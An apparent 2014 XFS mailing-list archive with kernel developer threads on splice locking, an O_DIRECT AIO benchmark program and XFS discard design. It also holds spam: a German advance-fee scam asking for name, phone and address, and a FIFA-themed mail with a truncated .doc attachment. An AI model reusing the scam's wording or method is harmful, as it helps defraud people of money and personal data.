H4sIAAAAAAAAC+NgFtrGqsTGxRLcyTRDd73G1SCDm0tutXNatLyfy2xx+PA+Fotva3rZLNYsOM5q8WnJVhaLHx86WCxW74y2ONnWxm7x7M8ONotbZ86xW7T3XGe1aHm7jdFi2ZkONovG7k+sFm+2PmexuHL/D7vF49YTbBZrT7eyWVxf/pbZ4vzWt4wOIh5v315k91h9YSujx4Qbjxk9di/4zOTRtngts8eh5gdA1ht7jx/9W9k8Ji68xObRfXUmo8ftZ9tYPLqWHmDxOLbT1mNdyw02j1mzDjN5HHu2gSlAOIq3uLS4IDW5JDUluCAxN4E348p9k4IXfBUtBx6zNjA+4Oli5ORgFvCWmNDeyAhi8woISpyc+YQFxBYW4JPYOmclM4gtIqAiseLOFtYuRg4ONgFJiUdXJEDCLAKqEmvm7GMCsYUElCSuru5gn8DIPgvJ1FlIpkLEdSVm/DvEgimuLbFs4WvmWUAbmAXUJL52lUCE9SRuTJ3CRoTyBYxcqxhFvX2NvC18/ENCg/Wyc0vS9HLykxNzNjECI5RLnIttB+OnszaHGCU5mJREeWeoXg0S4kvKT6nMSCzOiC8qzUktPsQowcGjJMJroA6U4y0GBlpxZjpMSoODQ6Blzq1HjFIsefl5qUoSvBkgZYJFqempFWmZOSWpRRClpxgtOba8+PKHkaPhxFcgeeA0kBRiSS9KrJQS541UA2oSAJmdUZoH1wNLc5cYZaWEecMUgWp4ClKLcjNLUOVfMYpzMCoJ85qCrObJzCuBO1CqgTGg57rl4o8J9mYtL5InKj/+5le58b9iscals01yAb/W9b28reh/+869Wd8iPR74GBx0tJaMcinyiTSKsPXm3bV5dtipuoPXVL7ULZFqZOtOFelQiQ/65mi9SvgUj9fkk1Ybo7n7JpQvP3mrZnfSCZ9VU1MtOO/wOqud4No56VTyi8fbNeYrPFZi Kc5INNRi X-MIMETrack: Itemize by SMTP Server on srv003/kmtf/kz(Release 8.5.3FP4|March 27, 2013) at 14.01.2014 17:08:15, Serialize by Router on srv003/kmtf/kz(Release 8.5.3FP4|March 27, 2013) at 14.01.2014 17:12:19, Serialize complete at 14.01.2014 17:12:19 Message-ID: Content-Type: multipart/alternative; boundary="===============0985482972==" X-Barracuda-Connect: mail.kmtf.kz[82.200.176.3] X-Barracuda-Start-Time: 1389701361 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.60 X-Barracuda-Spam-Status: No, SCORE=2.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA609_NRN, BSF_SC0_SA_TO_FROM_ADDR_MATCH, BSF_SC3_MV0132_3, HTML_MESSAGE, MAILTO_TO_SPAM_ADDR, NO_REAL_NAME X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144074 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 NO_REAL_NAME From: does not include a real name 0.00 MAILTO_TO_SPAM_ADDR URI: Includes a link to a likely spammer email 0.00 HTML_MESSAGE BODY: HTML included in message 1.00 BSF_SC3_MV0132_3 Custom rule MV0132_3 0.50 BSF_SC0_SA_TO_FROM_ADDR_MATCH Sender Address Matches Recipient Address 1.10 BSF_SC0_SA609_NRN Custom Rule SA609_NRN You will not see this in a MIME-aware mail reader. --===============0985482972== Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Description: Mail message body Guten Tag, Mein Name ist Mr.SUN Zhijun, ich mit der Bank of China zu arbeit= en. Ich brauche Ihre Unterst=FCtzung in Durchf=FChrung einer Transaktion be= i $ 18,5 Millionen Dollar gesch=E4tzt, m=F6chte ich Ihnen 30% der gesamten = Mittel als Ausgleich f=FCr Ihre Unterst=FCtzung in dieser Transaktion. Ich = werde Sie =FCber die vollst=E4ndige Transaktion benachrichtigt nach Eingang= Ihrer Antwort, wenn interessiert, bitte senden Sie mir Ihren vollst=E4ndig= en detials als unten, um meine E-Mail aufgef=FChrt:sunzhijun46@yahoo.com.hk= 1. Vollst=E4ndiger Name 2.Private Telefonnummer 3.Current Wohnadresse Mit = freundlichen Gr=FC=DFen, Mr.SUN Zhijun --===============0985482972== Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Content-Type: text/html; charset="iso-8859-1" Content-Description: Mail message body Guten Tag, Mein Name ist Mr.SUN Zhijun, ich mit der Bank of China zu arbeiten. Ich bra= uche Ihre Unterst=FCtzung in Durchf=FChrung einer Transaktion bei $ 18,5 Mi= llionen Dollar gesch=E4tzt, m=F6chte ich Ihnen 30% der gesamten Mittel als = Ausgleich f=FCr Ihre Unterst=FCtzung in dieser Transaktion. Ich werde Sie = =FCber die vollst=E4ndige Transaktion benachrichtigt nach Eingang Ihrer Ant= wort, wenn interessiert, bitte senden Sie mir Ihren vollst=E4ndigen detials= als unten, um meine E-Mail aufgef=FChrt:sunzhijun46@yahoo.com.hk 1. Vollst=E4ndiger Name 2.Private Telefonnummer 3.Current Wohnadresse Mit freundlichen Gr=FC=DFen, Mr.SUN Zhijun --===============0985482972==-- From BATV+f55a2ad916a0d262d328+3796+infradead.org+hch@bombadil.srs.infradead.org Tue Jan 14 07:22:23 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id BDC5B7F3F for ; Tue, 14 Jan 2014 07:22:23 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 4B787AC002 for ; Tue, 14 Jan 2014 05:22:20 -0800 (PST) X-ASG-Debug-ID: 1389705735-04cbb04169db6a40001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id YeMe726TDdXKVsYu (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 14 Jan 2014 05:22:16 -0800 (PST) X-Barracuda-Envelope-From: BATV+f55a2ad916a0d262d328+3796+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1W33wV-0007tk-4K; Tue, 14 Jan 2014 13:22:07 +0000 Date: Tue, 14 Jan 2014 05:22:07 -0800 From: Christoph Hellwig To: Al Viro Cc: Christoph Hellwig , Jens Axboe , Mark Fasheh , Joel Becker , linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH 0/5] splice: locking changes and code refactoring Message-ID: <20140114132207.GA25170@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 0/5] splice: locking changes and code refactoring References: <20131212181459.994196463@bombadil.infradead.org> <20140113141416.GA30117@infradead.org> <20140113235646.GR10323@ZenIV.linux.org.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140113235646.GR10323@ZenIV.linux.org.uk> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1389705736 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144076 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Mon, Jan 13, 2014 at 11:56:46PM +0000, Al Viro wrote: > On Mon, Jan 13, 2014 at 06:14:16AM -0800, Christoph Hellwig wrote: > > ping? Would be nice to get this into 3.14 > > Umm... The reason for pipe_lock outside of ->i_mutex is this: > default_file_splice_write() calls splice_from_pipe() with > write_pipe_buf for callback. splice_from_pipe() calls that > callback under pipe_lock(pipe). And write_pipe_buf() calls > __kernel_write(), which certainly might want to take ->i_mutex. > > Now, this codepath isn't taken for files that have non-NULL > ->splice_write(), so that's not an issue for XFS and OCFS2, > but having pipe_lock nest between the ->i_mutex for filesystems > that do and do not have ->splice_write()... Ouch... What would be the alternative? Duplicating the code in even more filesystems to enforce an non-natural locking order for filesystems actually implementing splice? There don't actually seem to be a whole lot of real filesystems not implemting splice_write, the prime use would be for device drivers or synthetic ones. I'm not even sure how much that fallback gets used in practice. From rathamahata@gmail.com Tue Jan 14 07:30:39 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E34D07F3F for ; Tue, 14 Jan 2014 07:30:39 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id CA3FA8F8054 for ; Tue, 14 Jan 2014 05:30:39 -0800 (PST) X-ASG-Debug-ID: 1389706234-04cb6c537cdadac0001-NocioJ Received: from mail-wg0-f53.google.com (mail-wg0-f53.google.com [74.125.82.53]) by cuda.sgi.com with ESMTP id Dq1H2tIf0HU6OX75 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 14 Jan 2014 05:30:35 -0800 (PST) X-Barracuda-Envelope-From: rathamahata@gmail.com X-Barracuda-Apparent-Source-IP: 74.125.82.53 Received: by mail-wg0-f53.google.com with SMTP id y10so383289wgg.32 for ; Tue, 14 Jan 2014 05:30:33 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :cc:content-type; bh=ZOGh2bmc2aFkVsuRnR321K/lsq1o60j9tDmaj0jXT60=; b=etlQMGzoWHPjF+nMTXAE2WBBEIcOZaFX53OEam42iM6DlSURwZ57BqcqRxp7mH295v KHJ4eVfAhDUsm40LLu3C9v04cjYIfEH0vsbzTMrdwev9/yQ2t7m9UqD4YvqiO/zhIfvf uNGprq3Ho5EBOaFaa7mDzjJrHv+5ujEt5B4sL3yeC/5MqTgq84HjCh2SwJyEHeRZIFQg xvPkibcklm1XGtB0Ixvgv3YGxr9VDlr/3dErQBdGvQ6Ip3tVsJnDRTnMARQ7A8v4wSq7 bPAnuQQbCieJUuP7niU6JKsORl5mecXT00qAllbGZzD0W4SptM+xyL3HSoKlGse80YRs vz/g== X-Received: by 10.194.175.66 with SMTP id by2mr8640272wjc.59.1389706232802; Tue, 14 Jan 2014 05:30:32 -0800 (PST) MIME-Version: 1.0 Received: by 10.217.60.66 with HTTP; Tue, 14 Jan 2014 05:30:11 -0800 (PST) In-Reply-To: <20140108140307.GA588@infradead.org> References: <20140106201032.GA13491@quack.suse.cz> <20140107155830.GA28395@infradead.org> <20140108140307.GA588@infradead.org> From: Sergey Meirovich Date: Tue, 14 Jan 2014 15:30:11 +0200 Message-ID: Subject: Re: Terrible performance of sequential O_DIRECT 4k writes in SAN environment. ~3 times slower then Solars 10 with the same HBA/Storage. To: Christoph Hellwig , xfs@oss.sgi.com X-ASG-Orig-Subj: Re: Terrible performance of sequential O_DIRECT 4k writes in SAN environment. ~3 times slower then Solars 10 with the same HBA/Storage. Cc: Jan Kara , linux-scsi , Linux Kernel Mailing List , Gluk Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-wg0-f53.google.com[74.125.82.53] X-Barracuda-Start-Time: 1389706234 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144076 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Hi Cristoph, On 8 January 2014 16:03, Christoph Hellwig wrote: > On Tue, Jan 07, 2014 at 08:37:23PM +0200, Sergey Meirovich wrote: >> Actually my initial report (14.67Mb/sec 3755.41 Requests/sec) was about ext4 >> However I have tried XFS as well. It was a bit slower than ext4 on all >> occasions. > > I wasn't trying to say XFS fixes your problem, but that we could > implement appending AIO writes in XFS fairly easily. > > To verify Jan's theory, can you try to preallocate the file to the full > size and then run the benchmark by doing a: > > # fallocate -l > > and then run it? If that's indeed the issue I'd be happy to implement > the "real aio" append support for you as well. > I've resorted to write simple wrapper around io_submit() and ran it against preallocated file (exactly to avoid append AIO scenario). Random data was used to avoid XtremIO online deduplication but results were still wonderfull for 4k sequential AIO write: 744.77 MB/s 190660.17 Req/sec Clearly Linux lacks "rial aio" append to be available for any FS. Seems that you are thinking that it would be relatively easy to implement it for XFS on Linux? If so - I will really appreciate your afford. [root@dca-poc-gtsxdb3 mnt]# dd if=/dev/zero of=4k.data bs=4096 count=524288 524288+0 records in 524288+0 records out 2147483648 bytes (2.1 GB) copied, 5.75357 s, 373 MB/s [root@dca-poc-gtsxdb3 mnt]# /root/4k rnd generation (sec.): 195.63 io_submit() accepted 524288 IOs io_getevents() returned 524288 events time elapsed (sec.): 2.75 bandwidth (MiB/s): 744.77 IOps: 190660.17 [root@dca-poc-gtsxdb3 mnt]# ========================== io_submit() wrapper ============================= #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #define FNAME "4k.data" #define IOSIZE 4096 #define REQUESTS 524288 /* gcc 4k.c -std=gnu99 -laio -o 4k */ int main(void) { io_context_t ctx; int ret; int flag = O_RDWR | O_DIRECT; int fd = open(FNAME, flag); struct timeval start, end; if (fd == -1) { printf("open(%s, %d) - failed!\nExiting.\n" "If file doesn't exist please precreate it " "with dd if=/dev/zero of=%s bs=%d count=%d\n", FNAME, flag, FNAME, IOSIZE, REQUESTS); return errno; } memset(&ctx, 0, sizeof(io_context_t)); if (io_setup(REQUESTS, &ctx)) { printf("io_setup(%d, &ctx) failed\n", REQUESTS); return -ret; } void *mem = NULL; posix_memalign(&mem, 4096, (size_t) IOSIZE * REQUESTS); /* memset(mem, 9, IOSIZE); */ int urnd = open("/dev/urandom", O_RDONLY); void *cur = mem; gettimeofday(&start, NULL); for (int i = 0; i < REQUESTS; i++, cur += IOSIZE) { read(urnd, cur, IOSIZE); } gettimeofday(&end, NULL); close(urnd); double elapsed = (end.tv_sec - start.tv_sec) + ((end.tv_usec - start.tv_usec)/1000000.0); printf("rnd generation (sec.):\t%.2f\n", elapsed); struct iocb *aio = malloc(sizeof(struct iocb) * REQUESTS); memset(aio, 0, sizeof(struct iocb) * REQUESTS); struct iocb **lio = malloc(sizeof(void *) * REQUESTS); memset(lio, 0, sizeof(void *) * REQUESTS); struct io_event *event = malloc(sizeof(struct io_event) * REQUESTS); memset(event, 0, sizeof(struct io_event) * REQUESTS); cur = mem; for (int i = 0; i < REQUESTS; i++, cur += IOSIZE) { io_prep_pwrite(&aio[i], fd, cur, IOSIZE, i * IOSIZE); lio[i] = &aio[i]; } gettimeofday(&start, NULL); ret = io_submit(ctx, REQUESTS, lio); printf("io_submit() accepted %d IOs\n", ret); fdatasync(fd); ret = io_getevents(ctx, REQUESTS, REQUESTS, event, NULL); printf("io_getevents() returned %d events\n", ret); gettimeofday(&end, NULL); elapsed = (end.tv_sec - start.tv_sec) + ((end.tv_usec - start.tv_usec)/1000000.0); printf("time elapsed (sec.):\t%.2f\n", elapsed); printf("bandwidth (MiB/s):\t%.2f\n", (double) (((long long) IOSIZE * REQUESTS) / (1024 * 1024)) / elapsed); printf("IOps:\t\t\t%.2f\n", (double) REQUESTS / elapsed); if (io_destroy(ctx)) { perror("io_destroy"); return -1; } close(fd); free(mem); free(aio); free(lio); free(event); return 0; } From alex@zadarastorage.com Tue Jan 14 07:48:49 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 7E7B17F3F for ; Tue, 14 Jan 2014 07:48:49 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 4C950304070 for ; Tue, 14 Jan 2014 05:48:49 -0800 (PST) X-ASG-Debug-ID: 1389707326-04cbb04167db7450001-NocioJ Received: from mail-wi0-f174.google.com (mail-wi0-f174.google.com [209.85.212.174]) by cuda.sgi.com with ESMTP id lW8vSlw8ivgg7nJ9 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 14 Jan 2014 05:48:47 -0800 (PST) X-Barracuda-Envelope-From: alex@zadarastorage.com X-Barracuda-Apparent-Source-IP: 209.85.212.174 Received: by mail-wi0-f174.google.com with SMTP id g10so2618939wiw.7 for ; Tue, 14 Jan 2014 05:48:46 -0800 (PST) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:in-reply-to:references:date :message-id:subject:from:to:cc:content-type; bh=OpHgpkyNrKmuelhqiEA8wTJKfbJop/VYiCvp4e1vhew=; b=VlM+a+RE5EpCeNhZoT7zJMZwoAxd/V1mxD7RiwdE/SaUZazcery5M31THX3VkXVSEQ qkfXfP45UXarFKqqwny+pNM34gDbHoOvjTTe+IjBskOXoDBd0+Hn0hR1Aj3oKJdVVqqn zFAtVPICS8Xaa43PIJBpqBNlJrvDVuwLn9WEWumGcHwRLCZSM033m2pBf2StPGZ/j6e0 j19aNmxYkEffEz/KHuHV1snbxHDQKsJJp00dc+1UZIkNBZeW9XqkC5d6DtPB01YtVuBD xmtEBozMioitb2Whe9b9ARcSFiVOw7jTwTXMGP/29qZxptVcKknBlw8Reg8pXJgCbKPc K5Rw== X-Gm-Message-State: ALoCoQmc43J26FB/0Cq8TIzVr9RJ+bc7Cum8zQQd/z4q8dRCyxhmgXTHMgbz+Utbi2USOqlIi0l/ MIME-Version: 1.0 X-Received: by 10.180.38.11 with SMTP id c11mr20333904wik.60.1389707326511; Tue, 14 Jan 2014 05:48:46 -0800 (PST) Received: by 10.194.169.132 with HTTP; Tue, 14 Jan 2014 05:48:46 -0800 (PST) In-Reply-To: <20140113204314.GJ3469@dastard> References: <20131218230615.GQ31386@dastard> <78FC295EC7FF48C987266DC48B183930@alyakaslap> <20131219105513.GZ31386@dastard> <8155F3F9D6094F40B4DA71BD561D2DE8@alyakaslap> <20131226230018.GJ20579@dastard> <20140113030230.GF3469@dastard> <20140113204314.GJ3469@dastard> Date: Tue, 14 Jan 2014 15:48:46 +0200 Message-ID: Subject: Re: Questions about XFS discard and xfs_free_extent() code (newbie) From: Alex Lyakas X-ASG-Orig-Subj: Re: Questions about XFS discard and xfs_free_extent() code (newbie) To: Dave Chinner Cc: xfs@oss.sgi.com Content-Type: text/plain; charset=ISO-8859-1 X-Barracuda-Connect: mail-wi0-f174.google.com[209.85.212.174] X-Barracuda-Start-Time: 1389707327 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144077 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi Dave, [snip] > Right, I understand this. Go back to this comment you had about > allocating a range that a discard is currently being issued on: > > | If during xfs_alloc_fixup_trees() we discover that extent is already > | being discarded, we need to wait. Assuming we have asynchronous > | discard, this wait will be short - we only need the block device to > | queue the discard request, and then we are good to allocate from > | that area again > > That will be blocking with the AGF held, regardless of whether we > have asynchronous discard or not. Essentially, background discard > can be considered "asynchronous" when viewed from the context of > allocation. > > I'd forgotten that we effectively do that blocking right now > xfs_extent_busy_update_extent(), when we trip over an extent being > discarded, so this shouldn't be a blocker for a different discard > tracking implementation. :) Exactly, you already do that anyways. And similarly, we will do: lock() lookup overlapping discard-range if range->flags & XFS_EXTENT_BUSY_DISCARDED => unlock and sleep and retry... ... and when discarding a discard-range, we mark it with this flag (under lock) and leave it in the tree until discarded. [snip] >> - When a busy extent commits, by all means we "unbusy" the extent as >> usual. But we also check in the second rbtree, whether we can issue a >> discard for some discard range. Perhaps we can. Or we cannot because >> of other busy extents, that have not committed yet (the numbering is >> used to determine that). In that case, we will discard later, when all >> the needed busy extent commit. Unless new allocation removed/changed >> this discard range already. But we are not delaying the "unbusying" of >> the busy extent, and we are not keeping the AGF locked (I think). >> Also, we are issuing discards in the same place and context where XFS >> does it today. > > This is where I think the issues lie. We don't want to have to do > anything when a busy extent is removed at transaction commit - > that's the reason online discard sucks right now. And we want to > avoid having to care about transactions and ordering when it comes > to tracking discard ranges and issuing them. > > The way I see it is that if we have a worker thread that > periodically walks the discard tree to issue discards, we simply > need to do a busy extent tree lookup on the range of each discard > being tracked. If there are busy extents that span the discard > range, then the free space isn't yet stable and so we can't issue > the discard on that range. If there are no busy extents over the > discard range then the free space is stable and we can issue the > discard. > > i.e. if we completely dissociate the discard and busy extent > tracking and just replace it with a busy extent lookup at discard > time then we don't need any sort of reference counting or log > sequence tracking on busy extents or discard ranges. Nice. I like the idea of doing the busy extent lookup instead of numbering busy extents and tracking the order of commits. So first of all, this idea can also be applied to what I suggest, i.e., doing the discard at its current place. But instead of tracking busy extent numbers, we: - when a busy extent commits and it has a discard range attached to it, we lookup in the busy extents tree to check for other busy extents overlapping the discard range. Anyways the original code locks the pagb_lock in that context, so we might as well do the search. - if we find an overlapping busy extent, we detach the discard-range from our busy extent and attach it to the overlapping extent. When this overlapping busy extent commits, we will retry the search. WRT that I have questions: in xfs_extent_busy_update_extent() we can "unbusy" part of the extent, or even rb_erase() the busy extent from the busy extent tree (it still remains in t_busy list and will be tracked). Q1: why it is ok to do so? why it is ok for "metadata" to reuse part (or all) of the busy extent before its extent-free-intent is committed? Q2: assume we have two busy extents on the same discard range: +--busy1--+ +--busy2--+ +----------discard1--------+ Assume that xfs_extent_busy_update_extent() fully unbusies busy1. Now busy2 commits, searches for overlapping busy extent, does not find one and discards discard1. I assume it is fine, because: xfs_extent_busy_update_extent() is called before xfs_alloc_fixup_trees() where I intend to check for overlapping discard range. So if we manage to discard before xfs_alloc_fixup_trees(), it is fine, because XFS has not yet really allocated this space. Otherwise, xfs_alloc_fixup_trees() will knock off discard1 and we will not discard. Works? WRT to the worker thread: we need some good strategy when to awake it. Like use a workqueue and a work item, that tells exactly which discard range is now a candidate for discard and needs to be checked for overlapping busy extents? > > FWIW, if we do this then we can change fstrim xfs_trim_extents() to > queue up all the work to be done in the background simply by > populating the discard tree with all the free space ranges we wish > to discard. This will significantly reduce the impact of fstrim on > filesystem runtime performance as the AGF will only be held locked > long enough to populate the discard tree. And if we do the work > per-ag, then we are also parallelising it by allowing discards on > multiple AGs to be issued at once and hence it will be significantly > faster on devices that can queue TRIM commands (SATA 3.1, SAS and > NVMe devices)..... If we have a huge filesystem with a lot of ranges to discard, this will require an un-bound memory amount to populate this tree? > > The fact that this track and background issue mechanism would allow > us to optimise both forms of discard the filesystem supports makes > me optimistic that we are on the right path. :) > >> >> question that I have: >> >> # xfs_free_ag_extent() has a "isfl" parameter. If it is "true", then >> >> this extent is added as usual to the free-space btrees, but the >> >> caller doesn't add it as a busy extent. This means that such extent >> >> is suitable for allocation right away, without waiting for the log >> >> commit? >> > >> > It means the extent is being moved from the AGFL to the free space >> > btree. blocks on the AGFL have already gone through free space >> > accounting and busy extent tracking to get to the AGFL, and so there >> > is no need to repeat it when moving it to the free space btrees. >> Ok, I realize now that this block has already gone through the busy >> extent tracking via xfs_allocbt_free_block(). > > Right, and note that blocks going through that path aren't discarded > due to the XFS_EXTENT_BUSY_SKIP_DISCARD flag. This is due to the > fact they are being freed to the AGFL and as such are likely to be > reused immediately. ;) Yes, and WRT that: is it true to say that the following holds: if we have busy extent with this flag, then we know appropriate range is not in the free-space btrees. Because when we insert such busy extent, we don't drop it into the free-space btrees. As a result, we should never have a discard range that overlaps a busy extent with XFS_EXTENT_BUSY_SKIP_DISCARD. Because all our discard ranges are also free in the free-space btrees. Therefore, busy extents with this flag do not require any special treatment; we can ignore them fully or simply ignore the fact that they have this special flag - they will never have a discard range attached anyways. Thanks! You are very responsive. Alex. > >> P.S.: Just watched your AU2014 talk. Interesting. > > It was a little bit different. And fun. ;) > > Cheers, > > Dave. > -- > Dave Chinner > david@fromorbit.com From sf.v7e@hotmail.com Tue Jan 14 10:32:37 2014 Return-Path: X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id EBDEC7F3F for ; Tue, 14 Jan 2014 10:32:36 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id D5A86AC004 for ; Tue, 14 Jan 2014 08:32:32 -0800 (PST) X-ASG-Debug-ID: 1389717150-04cb6c537bdb5e70001-NocioJ Received: from blu0-omc2-s28.blu0.hotmail.com (blu0-omc2-s28.blu0.hotmail.com [65.55.111.103]) by cuda.sgi.com with ESMTP id q20vcL48vADcAK2v for ; Tue, 14 Jan 2014 08:32:30 -0800 (PST) X-Barracuda-Envelope-From: sf.v7e@hotmail.com X-Barracuda-Apparent-Source-IP: 65.55.111.103 Received: from BLU182-W53 ([65.55.111.72]) by blu0-omc2-s28.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675); Tue, 14 Jan 2014 08:32:30 -0800 X-TMN: [NOr5vvSxiJCtqBMJgL3TpBfDQDqjF2ml] X-Originating-Email: [sf.v7e@hotmail.com] Message-ID: Content-Type: multipart/mixed; boundary="_a0eb4fbd-f6ae-43bf-82e5-03d2b8736e0d_" Reply-To: From: FIFA 2014 Subject: FIFA World Cup 2014 Date: Tue, 14 Jan 2014 16:32:30 +0000 X-ASG-Orig-Subj: FIFA World Cup 2014 Importance: Normal In-Reply-To: References: , MIME-Version: 1.0 X-OriginalArrivalTime: 14 Jan 2014 16:32:30.0726 (UTC) FILETIME=[38512A60:01CF1146] X-Barracuda-Connect: blu0-omc2-s28.blu0.hotmail.com[65.55.111.103] X-Barracuda-Start-Time: 1389717150 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: -1001.00 X-Barracuda-Spam-Status: No, SCORE=-1001.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 To: undisclosed-recipients:; --_a0eb4fbd-f6ae-43bf-82e5-03d2b8736e0d_ Content-Type: multipart/alternative; boundary="_f0ff9651-12dd-4482-98d6-975f1edc38d6_" --_f0ff9651-12dd-4482-98d6-975f1edc38d6_ Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable = --_f0ff9651-12dd-4482-98d6-975f1edc38d6_ Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable

= --_f0ff9651-12dd-4482-98d6-975f1edc38d6_-- --_a0eb4fbd-f6ae-43bf-82e5-03d2b8736e0d_ Content-Type: application/msword Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="FIFA.doc" 0M8R4KGxGuEAAAAAAAAAAAAAAAAAAAAAPgADAP7/CQAGAAAAAAAAAAAAAAAKAAAAnQQAAAAAAAAA EAAAnwQAAAEAAAD+////AAAAAJMEAACUBAAAlQQAAJYEAACXBAAAmAQAAJkEAACaBAAAmwQAAJwE AAD///////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// ///////////////////////////////////////////////////////////////////////////s pcEAcWAJBAAA+BK/AAAAAAAAEAAAAAAABgAA7RMAAA4AYmpianFQcVAAAAAAAAAAAAAAAAAAAAAA AAAJBBYAzvIBABM6AQATOgEA7QsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//w8AAAAA 